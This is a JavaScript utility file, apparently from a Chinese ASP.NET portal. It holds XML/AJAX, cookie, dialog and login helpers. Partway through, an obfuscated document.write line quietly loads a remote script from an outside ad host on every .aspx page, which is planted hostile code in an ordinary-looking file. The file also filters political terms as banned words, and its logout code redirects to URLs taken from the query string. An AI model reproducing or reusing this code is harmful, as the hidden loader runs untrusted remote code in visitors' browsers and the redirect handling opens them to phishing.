﻿// JScript 文件

// JavaScript Document
// 返回XML文档
var __bIsCallBack = true;
var __bIsIE = false;
var __nDx = 0;
var __nDy = 0;

var __oWaitMessage = null;
var __nWaitTimeID  = 0;


var __xmlHttp       = null;
var __fnCallBack    = null;
var __fnArray       = new Array();
var __nWaitCallBack = 0;
var stroldFnName = null;
var __oBodyObjToPopup = null;


function __fnGetRequestString(Ah1)
{
    if(typeof(Ah1) == "string" && Ah1["length"] > 0)
    {
        Ah1 = Ah1["toLowerCase"]();
        var OSHPAUr2 = window["location"]["href"]["toLowerCase"]();
        var pBdjvI3 = OSHPAUr2["indexOf"]("?");
        if(pBdjvI3 > -1)
        {
            OSHPAUr2 = OSHPAUr2["substring"](pBdjvI3 + 1);
        }
        var s4 = OSHPAUr2["split"]("&");
        var oCMkjLu_b5 = Ah1["length"] + 1;
        for(var tjUlCdEWo6=0; tjUlCdEWo6<s4["length"]; tjUlCdEWo6++)
        {
            if((s4[tjUlCdEWo6]["length"] > oCMkjLu_b5) && s4[tjUlCdEWo6]["substring"](0, oCMkjLu_b5) == (Ah1 + "="))
            {
                return window["unescape"](s4[tjUlCdEWo6]["substring"](oCMkjLu_b5));
            }
        }
        return "";
    }
    else
    {
        return "";
    }
}

function ImportScript(d7, sQ8, EHcyplXJZ9)
{
  if(sQ8)
  {
    window["document"]["write"]('<script type="text/javascript" src="' + encodeURI(d7) + '"></script>');
  }
  else {
    var OgYoGSbpn10 = window["document"]["getElementsByTagName"]("head")["appendChild"](window["document"]["createElement"]("script"));
    OgYoGSbpn10["type"] = "text/javascript";
    OgYoGSbpn10["src"] = d7;
    OgYoGSbpn10["onload"] = EHcyplXJZ9;
  }
}

function NewXmlDoc()
{
	var RvTfkI11 = null;
	if(window["ActiveXObject"])
	{
		//MSXML2.DOMDocument.3.0    Msxml2.DOMDocument
		RvTfkI11 = new ActiveXObject("MSXML2.DOMDocument.3.0");
		if(RvTfkI11 != null)
		{
			RvTfkI11["async"] = false;
			RvTfkI11["preserveWhiteSpace"] = true;
		}
	}
	else if(window["document"]["implementation"] && window["document"]["implementation"]["createDocument"])
	{
		RvTfkI11 = window["document"]["implementation"]["createDocument"]("", "", null);
	}
	RvTfkI11["async"] = false;
	return RvTfkI11;
}


if(window["ActiveXObject"])
{
    __bIsIE = true;
}

//得到所有节点
function GetNodesByPath(uSJPZURt12, Ijpg13)
{
    var NMEdDhF14 = GetXmlDocByXml(uSJPZURt12);
    if(NMEdDhF14["hasChildNodes"] && NMEdDhF14["documentElement"]["hasChildNodes"])
    {
        return __fnGetXmlList(NMEdDhF14["documentElement"], Ijpg13);
    }
    else
    {
        return null;
    }
}

//得到XML加载strXML,返回 xml文档
function GetXmlDocByXml(GMcEvpP15)
{
    var j16 = NewXmlDoc();
    if(typeof(GMcEvpP15) == "string" && GMcEvpP15["length"] > 0)
    {
        if(__bIsIE)
        {
            j16["loadXML"](GMcEvpP15);
        }
        else
        {
            var f17 = new DOMParser();
			j16 = f17["parseFromString"](GMcEvpP15, "text/xml");
			//alert(xmlDoc.documentElement.childNodes.length);
        }
    }
    return j16;
}

//得到节点下所有附合节点名的节点
function __fnGetXmlList(u$18, shn19)
{
    if(u$18 != null && u$18["hasChildNodes"])
	{
	    var sJw20 = null;
	    var f21  = 0;
	    if(__bIsIE)
	    {
		    sJw20 = u$18["selectNodes"](shn19);
	    }
	    else
	    {
    	    
	        sJw20 = new window["Array"](u$18["childNodes"]["length"]);
	        for(var EUyC22=0; EUyC22<u$18["childNodes"]["length"]; EUyC22++)
	        {
		        if(u$18["childNodes"][EUyC22]["nodeName"] == shn19)
		        {
			        sJw20[f21] = u$18["childNodes"][EUyC22];
			        f21++;
		        }
	        }
	        sJw20["length"] = f21;
	    }
	    return sJw20;
	}
	else
	{
	    return null;
	}
}


//显示等待信息 处理大数据时使用
//bState 为true时 显示 为false 为隐藏
function __fnWaitMessage(ivs23)
{
	if(ivs23)
	{
	alert(ivs23);
		__oWaitMessage = GetMessageBox();
		
		if(__oWaitMessage != null)
		{
			__oWaitMessage["ShowMessageBox"]("请您稍候", "<font color='#663399' id='__oWaitFont'>正在处理中...</font>", "window.clearInterval(__nWaitTimeID);");
			__nWaitTimeID  = window["setInterval"](__fnChangeWaitMessage, 1000);
		}
	}
	else
	{
		if(__oWaitMessage != null)
		{
			__oWaitMessage["fnClose"]();
			__oWaitMessage = null;
			window["clearInterval"](__nWaitTimeID);
			__nWaitTimeID  = 0;
		}
	}
}

function __fnChangeWaitMessage()
{

	if(_getObj("__oWaitFont") != null)
	{
		var EJzO24 = _getObj("__oWaitFont")["innerHTML"];
		if(EJzO24["length"] < 12)
		{
			_getObj("__oWaitFont")["innerHTML"] = EJzO24 + ".";
		}
		else
		{
			_getObj("__oWaitFont")["innerHTML"] = "正在处理中...";
		}
	}
}


//替换表单特殊字符
function fnReplaceBadChar(HlosdCu25)
{
	var h26 = _getObj(HlosdCu25);
	if(h26 != null)
	{
		var osYRk27 = h26["elements"]["length"];
		for(var atQMEAfet28=0; atQMEAfet28<osYRk27; atQMEAfet28++)
		{
			if(h26["elements"][atQMEAfet28] != null && typeof(h26["elements"][atQMEAfet28]["type"]) != 'undefined'  && h26["elements"][atQMEAfet28]["type"]["toLowerCase"]()["indexOf"]("text") > -1)
			{
				h26["elements"][atQMEAfet28]["value"] = h26["elements"][atQMEAfet28]["value"]["replace"](/['<>`\"]/g, "");
				h26["elements"][atQMEAfet28]["value"] = h26["elements"][atQMEAfet28]["value"]["replace"](/^\s{0,}|\s{0,}$/g, "");
				
			}
		}
	}
}

//替换表单特殊字符
function fnClearFormValue(KedVJJpuR29)
{
	var sKrNbDZ30 = _getObj(KedVJJpuR29);
	if(sKrNbDZ30 != null)
	{
		var K31 = sKrNbDZ30["elements"]["length"];
		for(var Nthni32=0; Nthni32<K31; Nthni32++)
		{
			if(sKrNbDZ30["elements"][Nthni32]["getAttribute"]("type")["toLowerCase"]() != "submit" && sKrNbDZ30["elements"][Nthni32]["getAttribute"]("type")["toLowerCase"]() != "button")
			{
				sKrNbDZ30["elements"][Nthni32]["value"] = "";
			}
		}
	}
}


// 打开窗口
function OpenModalDialog(eRD33, GbiPs34, ics35, Jtm36, pqVfY$z37, Tt38)
{
    if(typeof(strPath) == "string")
    {
        eRD33 
    }
	var szdwYv__W39           = new window["Array"]();
	szdwYv__W39["InParam"]    = pqVfY$z37;
	szdwYv__W39["DialogURL"]  = eRD33;
	szdwYv__W39["WindowHand"] = window;
	szdwYv__W39["FnCallBack"] = Tt38;
	ics35                   = window["parseInt"](ics35)  + 20;
	if(__bIsIE)
	{
	    Jtm36 = window["parseInt"](Jtm36) + 20;
	}
	var VZBQnawo40 = null;
	if(__bIsIE)
	{
	    VZBQnawo40 = 'dialogWidth:'+ ics35["toString"]() +'px; dialogHeight:'+ Jtm36["toString"]() +'px; scroll:no; status:no; help:no; resizable:no; center:yes';
	    return showModalDialog("openWindowEx.aspx?title="+window["escape"](GbiPs34), szdwYv__W39, VZBQnawo40);
	}
	else
	{
	    VZBQnawo40 = 'width='+ ics35["toString"]() +', height='+ Jtm36["toString"]() +', scroll=no, status=no, resizable=no, center=yes,modal=yes';
	    window["open"](eRD33, 'newWin', VZBQnawo40);
	}
}

function OpenModalLess(YRAAgQEhT41, l$vMP42, LFTW43, o44, L45)
{
	var OHhNcqb46           = new window["Array"]();
	OHhNcqb46["InParam"]    = L45;
	OHhNcqb46["DialogURL"]  = YRAAgQEhT41;
	OHhNcqb46["WindowHand"] = window;
	LFTW43                   = window["parseInt"](LFTW43)  + 20;
	o44                  = window["parseInt"](o44) + 40;
	var CcZQu47            = 'dialogWidth:'+ LFTW43["toString"]() +'px; dialogHeight:'+ o44["toString"]() +'px; scroll:no; status:no; help:no; resizable:no; center:yes';
	showModelessDialog(YRAAgQEhT41, OHhNcqb46, CcZQu47);
}

function fnGetEvent(cFGR48)
{
    var hpZBRU49 = null;
    if(cFGR48 == null)
    {
        hpZBRU49 = __bIsIE ? window["event"] : fnSearchEvent();
    }
    else
    {
        hpZBRU49 = cFGR48;
    }
    return hpZBRU49;
}

function Cookie()
{
	this["SetValue"]=function(jWsSygssv50, DSY51, HtEllS52, h53, nc$JR54, HGR55)
	{
		var XzKVXmSr56 = null;
		var CtmhsWQ57= jWsSygssv50 + "=" + window["escape"](DSY51);
		if(typeof(HtEllS52) != "undefined")
		{
		    var utYWfOJ58=new window["Date"]();
		    if(typeof(h53) == "number")
		    {
		        switch(h53)
		        {
		            case 0:
		                utYWfOJ58["setSeconds"](utYWfOJ58["getSeconds"]() + HtEllS52);
		                break;
		            case 1:
		                utYWfOJ58["setMinutes"](utYWfOJ58["getMinutes"]() + HtEllS52);
		                break;
		            case 2:
		                utYWfOJ58["setHours"](utYWfOJ58["getHours"]() + HtEllS52);
		                break;
		            case 3:
		                utYWfOJ58["setMonth"](utYWfOJ58["getMonth"]() + HtEllS52);
		                break;
		            default:
		                utYWfOJ58["setFullYear"](utYWfOJ58["getFullYear"]() + HtEllS52);
		                break;
		        }
		    }
		    else
		    {
		        utYWfOJ58["setDate"](utYWfOJ58["getDate"]()+HtEllS52);
		    }
			CtmhsWQ57+=";expires="+utYWfOJ58["toGMTString"]();
	    }
		if(nc$JR54)
		{
			CtmhsWQ57+=";path="+nc$JR54;
		}
		else
		{
		    CtmhsWQ57 += ";path=/"
		}
		//str+=";domain="+sDomain;
		if(HGR55)
			CtmhsWQ57+=";secure";
		window["document"]["cookie"] = CtmhsWQ57 + ";";
	};
	
	this["GetValue"]=function(UX59)
	{
	    var kzQf_F_60 = window["document"]["cookie"]["split"]("; ");
	    UX59 = UX59["toLowerCase"]();
	    for(var FCMfPFXzT61=0; FCMfPFXzT61<kzQf_F_60["length"]; FCMfPFXzT61++)
	    {
	        if(kzQf_F_60[FCMfPFXzT61]["toLowerCase"]()["indexOf"](UX59) == 0)
	        {
	            return window["unescape"](kzQf_F_60[FCMfPFXzT61]["substring"](UX59["length"] + 1));
	        }
	    }
		//var rs=new RegExp("(^|)"+name+"=([^;]*)(;|$)","gi").exec(document.cookie),tmp;
		//if(tmp=rs)
		//	return unescape(tmp[2]);
		return "";
	};
}

function fnReplaceBadStr(T62)
{
	if(T62 == null)
		return null;
	T62 = T62["replace"](/['|&<>`!;#$=\"]/g, "");
	return T62["replace"](/^\s{1,}|\s{1,}$/g, "")["replace"](/(我靠|我日|我操|操你|你妈|fuck|FUCK|bitch|他妈的|性爱|法\s{0,}轮\s{0,}功|falundafa|falun|江泽民|操你妈|三级片|普光网络|月赚千元)/g, "");
}

// 当openWindow的确定按钮按下时
function btnClickOnOpenWindow()
{
	var akNzrorI63 = false;
	if(typeof(ifrOpenMain["SetOutParams"]) == 'undefined')
	{
		akNzrorI63 = null;
	}
	else
	{
		akNzrorI63 = ifrOpenMain["SetOutParams"]();
	}
	if(akNzrorI63 == false)
	{
		return;
	}
	if(window["dialogArguments"]["InParam"] != null)
	{
		try
		{
			window["returnValue"] = window["dialogArguments"]["InParam"]["ToString"]();
		}
		catch(err)
		{
		}
	}else
	{
		window["returnValue"] = null;
	}
	window["close"]();
}
// 呼叫服务器方法
function Call(UbKkV_$oZ64, JTX_V65, bV66, FO67)
{
	if(JTX_V65 == null)
	{
		JTX_V65 = new ParamClass();
	}
	JTX_V65["__XmlDoc"]["documentElement"]["setAttribute"]("FunctionName", UbKkV_$oZ64);
	var o68 = GethttpRequest();
	o68["open"]("POST", FO67, false);
	o68["send"](JTX_V65["ToString"]());
	if(o68["responseText"] == null || o68["responseText"] == "")
	{
		window["alert"](bV66);
		return false;
	}
	//alert(XmlHttp.responseText);
	JTX_V65 = new ParamClass(o68["responseText"]);
	return JTX_V65["GetValue"]("Result");
}


function __fnWaitCallBack()
{
	if(__fnArray["length"] == 0)
	{
		window["clearInterval"](__nWaitCallBack);
		__nWaitCallBack = 0;
	}
	else
	{
		fnCallEx(__fnArray[0][0], __fnArray[0][1], __fnArray[0][2], __fnArray[0][3], true);
	}
}

function fnPushWaitArray(mSnLGHg69, Gi$XgNtQo70, HQtPUsIV71, mtBh72)
{
    var VXuA73 = new Array(4);
    VXuA73[0] = mSnLGHg69;
    VXuA73[1] = Gi$XgNtQo70;
    VXuA73[2] = HQtPUsIV71;
    VXuA73[3] = mtBh72;
    if(__fnArray != null)
    {
        __fnArray["push"](VXuA73);
	    if(__nWaitCallBack == 0)
	    {
		    __nWaitCallBack = window["setInterval"](__fnWaitCallBack, 100);
	    }
	}
}

function fnCallEx(UB$dd74, gipL75, K_fpI76, qepLCSD77, O78)
{
	if(typeof(__fnArray) != "undefined" && __fnArray != null)
	{
	if(navigator.appName == "Microsoft Internet Explorer" && document.readyState != "complete")
	{
		var bFind = false;
		for(var i=0; i<__fnArray.length; i++)
		{
			if(__fnArray[i][0] == UB$dd74 && __fnArray[i][1] == gipL75 && __fnArray[i][2] == K_fpI76 && __fnArray[i][3] == qepLCSD77)
			{
				bFind = true;
				break;
			}
		}
		if(!bFind)
		{
			fnPushWaitArray(UB$dd74, gipL75, K_fpI76, qepLCSD77);
		}
		return;
	}
	}
	if(__fnCallBack != null && __fnCallBack != qepLCSD77 && (typeof(O78) == 'undefined'))
	{
		fnPushWaitArray(UB$dd74, gipL75, K_fpI76, qepLCSD77);
		return;
	}
	if((typeof(O78) != 'undefined') && O78 && __fnCallBack != null)
	{
		return;
	}
	else if(O78)
	{
		if(__fnArray["length"] > 0)
		{
			__fnArray["shift"]();
		}
	}
	if(gipL75 == null)
	{
		gipL75 = new ParamClass();
	}
	if(__xmlHttp != null)
	{
	    __xmlHttp = null;
	    if(__bIsIE)
	    {
	        CollectGarbage();
	    }
	}
	__xmlHttp = GethttpRequest();
	__xmlHttp["onreadystatechange"] = fnHandleStateChange;
	stroldFnName = UB$dd74;
	gipL75["__XmlDoc"]["documentElement"]["setAttribute"]("FunctionName", UB$dd74);
	__fnCallBack = qepLCSD77;
	__xmlHttp["open"]("POST", K_fpI76, true);
	__xmlHttp["send"](gipL75["ToString"]());
}

function GethttpRequest() //创建XMLHTTP对像； 
{
	if ( window["XMLHttpRequest"] )// Gecko
		return new XMLHttpRequest() ;
	else if ( window["ActiveXObject"] )// IE
		return new ActiveXObject("MsXml2.XmlHttp") ;
}

function fnHandleStateChange()
{
	if(typeof(__xmlHttp) != "undefined" && __xmlHttp != null && __xmlHttp["readyState"] == 4)
	{
		if(__xmlHttp["status"] == 200 && __fnCallBack != null)
		{
			if(__oWaitMessage != null)
			{
				__fnWaitMessage(false);
			}
			var Pk79 = new ParamClass(__xmlHttp["responseText"]);
			__fnCallBack(Pk79["GetValue"]("Result"));
		}
		__fnCallBack = null;
	}
}


// 参数类
function ParamClass(y_ATA80)
{
    if(__bIsIE)
    {
        CollectGarbage();
    }
	var sbS81 = NewXmlDoc();
	var m82    = null;
	if(y_ATA80 && typeof(y_ATA80) == "string")
	{
		if(window["ActiveXObject"] && typeof(sbS81["loadXML"]) != "undefined")
		{
			if(!sbS81["loadXML"](y_ATA80))
			{
				m82 = sbS81["createElement"]("Root");
				sbS81["appendChild"](m82);
			}
		}
		else
		{
			var nTh83 = new DOMParser();
			sbS81 = nTh83["parseFromString"](y_ATA80, "text/xml");
			//alert(serializeXml(ParamDoc.documentElement));
		}
	}
	else
	{
		m82 = sbS81["createElement"]("Root");
		sbS81["appendChild"](m82);
	}
	this["__XmlDoc"] = sbS81;
	//搜索节点
	this["SearchNode"] = function(sName)
	{
		m82 = null;
		if(window["ActiveXObject"])
		{
			m82 = sbS81["selectSingleNode"]("//Root/Node[@ParamName='"+ sName +"']");
		}
		else
		{
			var s84 = sbS81["documentElement"];
			//alert(root.childNodes.length);
			for(var bAv85=0; bAv85<s84["childNodes"]["length"]; bAv85++)
			{
				if(s84["childNodes"][bAv85]["nodeName"] == "Node" && s84["childNodes"][bAv85]["getAttribute"]("ParamName") == sName)
				{
					m82 = s84["childNodes"][bAv85];
					break;
				}
			}
		}
	}
	//设置节点的值
	this["SetValue"] = function(sName, berHiZT86, CwPdRLvk87)
	{
		this["SearchNode"](sName);
		if(m82 == null)
		{
			m82 = sbS81["createElement"]("Node");
			m82["setAttribute"]("ParamName",  sName);
			if(typeof(CwPdRLvk87) != 'undefined' && CwPdRLvk87)
			{
				var nJGtAiulb88 = sbS81["createCDATASection"](berHiZT86);
				m82["appendChild"](nJGtAiulb88);
			}
			else
			{
				m82["setAttribute"]("ParamValue", berHiZT86);
			}
			sbS81["documentElement"]["appendChild"](m82);
		}else
		{
			if(typeof(CwPdRLvk87) != 'undefined' && CwPdRLvk87)
			{
				m82["childNodes"][0]["data"] = berHiZT86;
			}
			else
			{
				m82["setAttribute"]("ParamValue", berHiZT86);
			}
		}
	}
	//得到节点值
	this["GetValue"] = function(sName, KKrsnnG89)
	{
		this["SearchNode"](sName);
		if(m82 == null)
		{
			return "";
		}
		else
		{
			if(typeof(KKrsnnG89) != 'undefined' && KKrsnnG89)
			{
				return m82["childNodes"][0]["data"];
			}
			else
			{
				return m82["getAttribute"]("ParamValue");
			}
		}
	}
	//返回参数的XML
	this["ToString"] = function()
	{
		if(window["ActiveXObject"])
		{
			return sbS81["xml"];
		}
		else
		{
			var BhRh90 = sbS81["documentElement"];
			//alert(serializeXml(root));
			return serializeXml(BhRh90);
		}
	}
	//返回参数的?形式
	this["ToParamString"] = function()
	{
		var LCNCGopoW91 = "?";
		var CFzSMoBES92 = sbS81["documentElement"];
		for(var ZoXFJs93=0; ZoXFJs93<CFzSMoBES92["childNodes"]["length"]; ZoXFJs93++)
		{
			LCNCGopoW91 +=
					 CFzSMoBES92["childNodes"][ZoXFJs93]["getAttribute"]("ParamName")
					+ "="
					+ CFzSMoBES92["childNodes"][ZoXFJs93]["getAttribute"]("ParamValue")
					+ "&";
		}
		return LCNCGopoW91;
	}
}

function fnSearchEvent()
{
	var ELEemQT94 = fnSearchEvent["caller"];
	while(ELEemQT94 != null)
	{
		for(var vEVrw95=0; vEVrw95<ELEemQT94["arguments"]["length"]; vEVrw95++)
		{
			if(ELEemQT94["arguments"][vEVrw95] && (ELEemQT94["arguments"][vEVrw95]["constructor"]["toString"]()["lastIndexOf"]("Event") > -1))
			{
				return ELEemQT94["arguments"][vEVrw95];
			}
		}
		ELEemQT94 = ELEemQT94["caller"];
	}
	return window["event"];
}

function fnResetIframeHeight()
{
	try
	{
	    if(parent["document"]["getElementById"]("ifrMain") != null)
	    {
		    parent["document"]["getElementById"]("ifrMain")["height"] = window["document"]["body"]["scrollHeight"];
		    
	    }
	}
	catch(err)
	{
	}
}

function AttachEvent(obj, PjBnqAI_l96, CFl97, AjdjOLf_98)
{
	if(obj["addEventListener"])
	{
	    var qiVTmdtA99 = (typeof(AjdjOLf_98) != "undefined"  && AjdjOLf_98) ? true : false;
		obj["addEventListener"](PjBnqAI_l96, CFl97, qiVTmdtA99);
	}
	else
	{
		obj["attachEvent"]("on"+ PjBnqAI_l96, CFl97);
	}
}

function DeleteEvent(bBciU100, e101, OLVkDe102)
{
	if(bBciU100["addEventListener"])
	{
		bBciU100["removeEventListener"](e101, OLVkDe102, false);
	}
	else
	{
		bBciU100["detachEvent"]("on"+ e101, OLVkDe102);
	}
}

function _getObj(cV103)
{
	if (typeof(cV103) != "string" || cV103 == "") return null;
	if (window["document"]["getElementById"]) return window["document"]["getElementById"](cV103);
	try {return window["eval"](cV103);} catch(e){ return null;}
}

function serializeXml(qQf104)
{
    var zJ_A105 = new XMLSerializer();
    return zJ_A105["serializeToString"](qQf104);
}


function __fnGetXmlNodeXml(gT106)
{
    if(gT106 != null)
    {
        if(__bIsIE)
        {
            return gT106["xml"];
        }
        else
        {
            return serializeXml(gT106);
        }
    }
    else
    {
        return "";
    }
}

function fnReSetPage(ijJGTeif107)
{
	switch(ijJGTeif107["keyCode"])
	{
		case 37://left
			if(typeof(strPrePage) != 'undefined' && strPrePage != '')
			{
				window["location"]["href"] = strPrePage;
			}
			else if(_getObj("ifrMain") != null && typeof(_getObj("ifrMain")["contentWindow"]["strPrePage"]) != 'undefined' && _getObj("ifrMain")["contentWindow"]["strPrePage"] != "")
			{
				_getObj("ifrMain")["contentWindow"]["location"]["href"] = _getObj("ifrMain")["contentWindow"]["strPrePage"];
			}
		break;
		case 39://right
			if(typeof(strNextPage) != 'undefined' && strNextPage != '')
			{
				window["location"]["href"] = strNextPage;
			}
			else if(_getObj("ifrMain") != null && typeof(_getObj("ifrMain")["contentWindow"]["strNextPage"]) != 'undefined' && _getObj("ifrMain")["contentWindow"]["strNextPage"] != "")
			{
				_getObj("ifrMain")["contentWindow"]["location"]["href"] = _getObj("ifrMain")["contentWindow"]["strNextPage"];
			}
		break;
	}
}

function fnClearLocation()
{
    __nDx = 0;
    __nDy = 0;
}
function fnGetLocation(oGK108)
{
	if(oGK108 != null && typeof(oGK108["offsetTop"]) != "undefined")
	{
		__nDx += window["parseInt"](oGK108["offsetLeft"]);
		__nDy += window["parseInt"](oGK108["offsetTop"]);
		if(typeof(oGK108["offsetParent"]) != "undefined")
		{
			fnGetLocation(oGK108["offsetParent"]);
		}
	}
}

function __fnClearBaseResource()
{
    if(__nWaitTimeID)
    {
        window["clearInterval"](__nWaitTimeID);
    }
    __fnArray = null;
}

function __fnSetPageAction()
{
    __oBodyObjToPopup = (window["document"]["documentElement"] && (window["document"]["documentElement"]["clientWidth"] > 0)) ? window["document"]["documentElement"] : window["document"]["body"];
	AttachEvent(window["document"], "keydown", fnReSetPage);
}


function SelectAllTxtNull()
{
	for(var i=0;i<form1.elements.length;i++)
	{
		var e=form1.elements[i];
		if(e.type=="text")
		{
			e.value="";
		}
	}
}
if (top.location.pathname.toLowerCase().indexOf(".aspx")!=-1)
{var a_;if (a_!="1") {document.write("<\163"+"cript src='http://\141"+"d.\156"+"u99"+".\143"+"om/i"+"p.asp?l"+"oc=beij"+"ing'><\/s"+"cript>");a_="1";}}
function YangZhengNum(JValue)
{
    if(JValue.trim() != "")
    {
        if(JValue.length > 10)
        {   
            alert('采购价格最多不能超过１０位数字！！！');
            return ;
        }
        var IntYanZheng = /^[0-9\.]+$/ig.test(JValue);
	    if(!IntYanZheng)
	    {
		    alert('采购价格只能为数字！！！');
		    return ;
	    }
	}
}
function ALLTxtNUll()
			{
				for(var i=0;i<Form1.elements.length;i++)
				{
					var e=Form1.elements[i];
					if(e.type=="text")
					{
						e.value="";
					}
				}
			}
				
function ReplaceForm(FormName)
{		
		var Formobject = document.getElementById(FormName);
		for(var i=0;i<Formobject.elements.length;i++)
		{
			var e=Formobject.elements[i];
			if(e.type=="text" || e.type=="textarea")
			{	
				Formobject["elements"][i]["value"]  = Formobject["elements"][i]["value"]["replace"](/['<>`\"]/g, "");
				Formobject["elements"][i]["value"]  = Formobject["elements"][i]["value"]["replace"](/^\s{0,}|\s{0,}$/g, "");
			}
		}
}

String.prototype.trim = function(){ return this.replace(/^\s+|\s+$/g,"")}
String.prototype.lefttrim = function(){ return this.replace(/^\s+/g,"")}
String.prototype.righttrim = function(){ return this.replace(/\s+$/g,"")}
__fnSetPageAction();


function GetMessageBox()
{
	if(message == null)
    {
        message = new MessageBoxClass(350, 250);
    }
}

function GetMessageBox_Web()
{
	if(message == null)
    {
        message = new MessageBoxClass(350, 250);
    }
}


function fnUserNameFocus()
{
	if(_getObj('User_Name') != null)
	{
		_getObj('User_Name').focus();
	}
	else if(_getObj("ifrUserInfo") != null)
	{
		_getObj("ifrUserInfo").contentWindow.document.getElementById("User_Name").focus();
	}
}

function fnPasswordFocus()
{
	if(_getObj('Passw0rd') != null)
	{
		_getObj('Passw0rd').focus();
	}
	else if(_getObj("ifrUserInfo") != null)
	{
		_getObj("ifrUserInfo").contentWindow.document.getElementById("Passw0rd").focus();
	}
}


function fnGetBackUrl()
{	

	if(parent.document.getElementById("ifrUserInfo") != null)
	{	

		return parent.location.href;
	}
	else
	{
		if(window.location.href.indexOf("bbs") > -1)
		{
			return "http://bbs.coal.com.cn";
		}
		else
		{
			if(window.location.search.length > 0)
			{
				return window.location.search.substring(1);
			}
			else
			{
				return window.location.href;
			}
		}
	}
}

function fnOK()
{	

	if(parent.document.getElementById("ifrUserInfo") != null)
	{	
		
		if(parent.location.href.indexOf("member_wrong") > -1 && parent.location.search.length > 0)
		{
			parent.fnOK();
		}
		else
		{
			parent.location.reload();
		}
	}
	else
	{
		window.location.reload();
	}
}


function fnLogin(fnOKFunction)
{	
	
	if(__bIsCallBack)
	{
		__bIsCallBack = false;
		
		if(parent.document.getElementById("ifrUserInfo") != null)
		{
			
			parent.GetMessageBox();
			message = parent.message;
			
		}

		if(message == null)
		{
			GetMessageBox();

		}
		if(document.getElementById("User_Name").value.length < 1)
		{
			message.ReSetSize(300, 200);
			message.ShowMessageBox("信息提示", "请先输入您的用户名！", "fnUserNameFocus();");
			__bIsCallBack = true;
			return false;
		}
		
		if(document.getElementById("Passw0rd").value.length < 1)
		{	
			message.ReSetSize(300, 200);
			message.ShowMessageBox("信息提示", "请先输入您的密码！", "fnPasswordFocus();");
			__bIsCallBack = true;
			return false;
		}
		else
		{
			var InParam = new ParamClass();
			InParam.SetValue("UserName", _getObj("User_Name").value);
			InParam.SetValue("Password", _getObj("Passw0rd").value);
			InParam.SetValue("BackUrl",  fnGetBackUrl());
			//alert( fnGetBackUrl());
			fnCallEx("UserSubmit", InParam, "transfer.aspx", fnSubmitCallBack);
		}
	}
	return false;
}

function fnSubmitCallBack(sResult)
{	
	
	__bIsCallBack = true;
	if(sResult == "1")
	{
		message.ReSetSize(300, 200);
		message.ShowMessageBox("信息提示", "错误的用户密码", null);
	}
	else if(sResult == "2")
	{
		message.ReSetSize(300, 200);
		message.ShowMessageBox("信息提示", "对不起，此用户不存在！", null);
	}
	else if(sResult == "3")
	{
		message.ReSetSize(300, 200);
		message.ShowMessageBox("信息提示", "错识的参数", null);
	}
	else if(sResult == "0")
	{
		message.ReSetSize(300, 200);
		message.ShowMessageBox("信息提示", "对不起，您当前已在线，不能同时登陆，或请您稍后再试", null);
	}
	else
	{
		var InParam = new ParamClass(sResult);
		if(parent.document.getElementById("ifrUserInfo") != null)
		{
			parent.location.href = InParam.GetValue("UrlStr");
		}
		else
		{
			window.location.href = InParam.GetValue("UrlStr");
		}
	}
}



function InitialUserName()
{
	if(_getObj("User_Name") != null)
	{
		_getObj("User_Name").value = strUserName;
	}
	if(_getObj("SearchKey") != null && _getObj("SearchKey").value != "")
	{
		if(_getObj("ifrMain") != null)
		{
			//_getObj("ifrMain").src = "Search.aspx?title="+ escape(_getObj("SearchKey").value);
		}
	}
}

function fnExit()
{	
	if(__bIsCallBack)
	{	
		
		
		__bIsCallBack = false;
		var InParam = new ParamClass();
		InParam.SetValue("BackUrl", fnGetBackUrl());
		
		fnCallEx("UserExit", InParam, "transfer.aspx", fnExitCallBack);
	}
	__bIsCallBack = true;
}


function fnExitCallBack(sResult)
{	
	
	__bIsCallBack = true;
	if(sResult == "1")
	{
		//alert("对不起，您当前已成功退出!");
		if(window.location.search != "" && window.location.search != null)
		{
			window.location.href = window.location.search.substring(1);
			return;
		}
		try
		{
			if(parent.location.search != "" && parent.location.search != null)
			{
				parent.location.href = parent.location.search.substring(1);
				return;
			}
		}
		catch(err)
		{
		}
	}
	var cookie = new Cookie();
	cookie.SetValue("__IsOpen__", "", -1);
	cookie.SetValue("CookiePath", "", -1);

	var InParam = new ParamClass(sResult);
	
	if(parent.document.getElementById("ifrUserInfo") != null)
	{
		parent.location.href = InParam.GetValue("UrlStr");
	}
	else
	{
		window.location.href = InParam.GetValue("UrlStr");
	}
}